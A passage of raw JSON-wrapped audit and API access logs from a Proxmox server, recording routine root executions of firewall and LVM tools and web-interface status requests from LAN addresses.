a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=64464 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966055168,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966055.168:68235): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65530 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964436071,"@rawstring":"node=pve type=EXECVE msg=audit(1781964436.071:61015): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781965265668,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:21:04 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1117"} {"@timestamp":1781964539761,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964539.761:61456): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58995 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966046093,"@rawstring":"node=pve type=EXECVE msg=audit(1781966046.093:68217): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965217209,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965217.209:64676): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62136 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965794309,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965794.309:67117): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73cf080 a1=64f8d73ced30 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=64463 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781966055159,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966055.159:68234): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65529 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964436066,"@rawstring":"node=pve type=EXECVE msg=audit(1781964436.066:61014): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781965264467,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:21:03 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 909"} {"@timestamp":1781964539761,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964539.761:61455): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58995 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966046084,"@rawstring":"node=pve type=EXECVE msg=audit(1781966046.084:68216): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965217201,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965217.201:64674): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789954c70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62135 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965794274,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965794.274:67116): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d514f760 a1=64f8d73adb90 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=64462 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781966055151,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966055.151:68233): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0da0f0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65528 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781964436061,"@rawstring":"node=pve type=EXECVE msg=audit(1781964436.061:61013): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781965264467,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:21:03 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964539751,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964539.751:61453): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58994 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966046078,"@rawstring":"node=pve type=EXECVE msg=audit(1781966046.078:68215): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965217201,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965217.201:64673): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789954c70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62135 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965789306,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965789.306:67115): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=64459 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966055140,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966055.140:68232): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc14a710 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65527 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781964436056,"@rawstring":"node=pve type=EXECVE msg=audit(1781964436.056:61012): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781965264467,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:21:03 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 510"} {"@timestamp":1781964539751,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964539.751:61452): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58994 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966046068,"@rawstring":"node=pve type=EXECVE msg=audit(1781966046.068:68214): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965215277,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965215.277:64669): arch=c000003e syscall=59 success=no exit=-2 a0=7ffcc6924770 a1=5acfb17fe410 a2=5acfb17dc680 a3=5 items=1 ppid=62128 pid=62129 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965789298,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965789.298:67112): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=64458 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966055128,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966055.128:68231): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0ed7e0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65526 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781964436051,"@rawstring":"node=pve type=EXECVE msg=audit(1781964436.051:61011): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781965264467,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:21:03 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 509"} {"@timestamp":1781964535440,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964535.440:61448): arch=c000003e syscall=59 success=no exit=-2 a0=7ffc92ab1d80 a1=64d4c2203310 a2=64d4c21fc680 a3=5 items=1 ppid=58987 pid=58988 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966046062,"@rawstring":"node=pve type=EXECVE msg=audit(1781966046.062:68212): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781965215170,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965215.170:64651): arch=c000003e syscall=59 success=no exit=-2 a0=7ffedd8862e0 a1=5ac84c5b0310 a2=5ac84c5a9680 a3=5 items=1 ppid=62109 pid=62110 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965786724,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965786.724:67109): arch=c000003e syscall=59 success=yes exit=0 a0=61301a93ad10 a1=61301a944880 a2=61301a8aab30 a3=8 items=2 ppid=1541 pid=64457 auid=0 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts0 ses=1 comm=\"rm\" exe=\"/usr/bin/rm\" subj=unconfined key=\"exec\""} {"@timestamp":1781966054093,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966054.093:68230): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73b4ba0 a1=64f8d73b7c60 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=65523 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781964436046,"@rawstring":"node=pve type=EXECVE msg=audit(1781964436.046:61010): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781965262554,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:21:01 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 902"} {"@timestamp":1781964535357,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964535.357:61430): arch=c000003e syscall=59 success=no exit=-2 a0=7fff7085d010 a1=558f63d84310 a2=558f63d7d680 a3=5 items=1 ppid=58968 pid=58969 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966046055,"@rawstring":"node=pve type=EXECVE msg=audit(1781966046.055:68211): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781965212192,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965212.192:64641): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789954bb0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62099 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965785768,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965785.768:67108): arch=c000003e syscall=59 success=yes exit=0 a0=6029f7aded30 a1=6029f7aeaf00 a2=6029f7ab8680 a3=5 items=2 ppid=64450 pid=64456 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781966054064,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966054.064:68229): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d5ab8ef0 a1=64f8d1780410 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=65522 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781964436040,"@rawstring":"node=pve type=EXECVE msg=audit(1781964436.040:61009): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965262554,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:21:01 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1098"} {"@timestamp":1781964534742,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964534.742:61422): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58962 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966046048,"@rawstring":"node=pve type=EXECVE msg=audit(1781966046.048:68210): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781965212191,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965212.191:64640): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789954bb0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62099 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965785765,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965785.765:67107): arch=c000003e syscall=59 success=yes exit=0 a0=6029c7dc1ac8 a1=7ffdb2945d10 a2=6029f7ab8680 a3=6029c7da524e items=2 ppid=64450 pid=64452 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966050209,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966050.209:68228): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=65521 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964436034,"@rawstring":"node=pve type=EXECVE msg=audit(1781964436.034:61008): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965262554,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:21:01 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1105"} {"@timestamp":1781964534742,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964534.742:61421): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58962 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966046040,"@rawstring":"node=pve type=EXECVE msg=audit(1781966046.040:68209): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781965212181,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965212.181:64638): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789954af0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62098 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965785764,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965785.764:67106): arch=c000003e syscall=59 success=yes exit=0 a0=7ffdb2945cd0 a1=6029f7ada3d0 a2=6029f7ab8680 a3=5 items=2 ppid=64450 pid=64451 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781966050204,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966050.204:68225): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=65520 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964436031,"@rawstring":"node=pve type=EXECVE msg=audit(1781964436.031:61007): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781965260726,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:21:00 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 508"} {"@timestamp":1781964534733,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964534.733:61419): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58961 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966046027,"@rawstring":"node=pve type=EXECVE msg=audit(1781966046.027:68208): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781965212180,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965212.180:64637): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789954af0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62098 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965785760,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965785.760:67104): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=64450 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966046115,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966046.115:68222): arch=c000003e syscall=59 success=yes exit=0 a0=6030442a7d30 a1=6030442b3bc0 a2=603044281680 a3=5 items=2 ppid=65513 pid=65519 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781964436028,"@rawstring":"node=pve type=EXECVE msg=audit(1781964436.028:61006): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965260726,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:20:59 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 900"} {"@timestamp":1781964534733,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964534.733:61418): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58961 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966046016,"@rawstring":"node=pve type=EXECVE msg=audit(1781966046.016:68207): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781965207172,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965207.172:64635): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62097 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965785751,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965785.751:67103): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64449 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966046109,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966046.109:68221): arch=c000003e syscall=59 success=yes exit=0 a0=603006c97ac8 a1=7ffc4e683d50 a2=603044281680 a3=603006c7b24e items=2 ppid=65513 pid=65515 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781964436027,"@rawstring":"node=pve type=EXECVE msg=audit(1781964436.027:61005): argc=1 a0=\"date\""} {"@timestamp":1781965260726,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:20:59 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964529724,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964529.724:61414): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58956 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966046008,"@rawstring":"node=pve type=EXECVE msg=audit(1781966046.008:68206): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965207172,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965207.172:64634): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62097 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965785742,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965785.742:67102): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64448 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966046109,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966046.109:68220): arch=c000003e syscall=59 success=yes exit=0 a0=7ffc4e683d10 a1=6030442a33d0 a2=603044281680 a3=5 items=2 ppid=65513 pid=65514 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781964436023,"@rawstring":"node=pve type=EXECVE msg=audit(1781964436.023:61003): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781965260726,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:20:59 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 497"} {"@timestamp":1781964529724,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964529.724:61413): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58956 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966046000,"@rawstring":"node=pve type=EXECVE msg=audit(1781966046.000:68205): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965207168,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965207.168:64632): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62096 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" 